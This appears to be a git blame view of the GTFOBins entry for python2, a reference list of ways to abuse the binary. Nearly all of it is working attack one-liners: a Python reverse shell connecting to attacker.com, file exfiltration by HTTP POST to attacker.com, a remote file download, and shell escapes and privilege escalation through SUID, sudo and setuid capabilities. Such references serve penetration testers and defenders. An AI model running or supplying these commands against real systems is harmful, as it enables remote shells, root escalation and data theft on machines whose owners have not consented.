GTFOBins.github.io/_gtfobins/python2.md

40 lines
1.8 KiB
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-05-25 15:30:02 +02:00
execute-interactive:
2018-07-16 15:01:50 +02:00
- code: python2 -c 'import os; os.system("/bin/sh")'
2018-07-04 20:26:52 +02:00
reverse-shell-interactive:
2018-07-22 16:22:03 +02:00
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
2018-07-16 15:01:50 +02:00
code: |
export RHOST=attacker.com
export RPORT=12345
python2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
2018-05-21 21:14:41 +02:00
upload:
2018-07-16 15:01:50 +02:00
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
- description: Serve files in the local folder running an HTTP server.
code: |
export LPORT=8888
python2 -m SimpleHTTPServer $LPORT
2018-05-21 21:14:41 +02:00
download:
2018-07-16 15:01:50 +02:00
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
2018-05-28 19:25:55 +02:00
file-write:
- code: python2 -c 'open("file_to_write","w+").write("DATA")'
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: python2 -c 'open("file_to_read").read()'
2018-05-21 21:14:41 +02:00
load-library:
2018-07-16 15:01:50 +02:00
- code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
2018-07-04 20:26:52 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- code: ./python2 -c 'import os; os.system("/bin/sh -p")'
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- code: sudo python2 -c 'import os; os.system("/bin/sh")'
2018-09-12 22:56:42 +02:00
capabilities-enabled:
- code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
2018-05-25 00:49:25 +02:00
---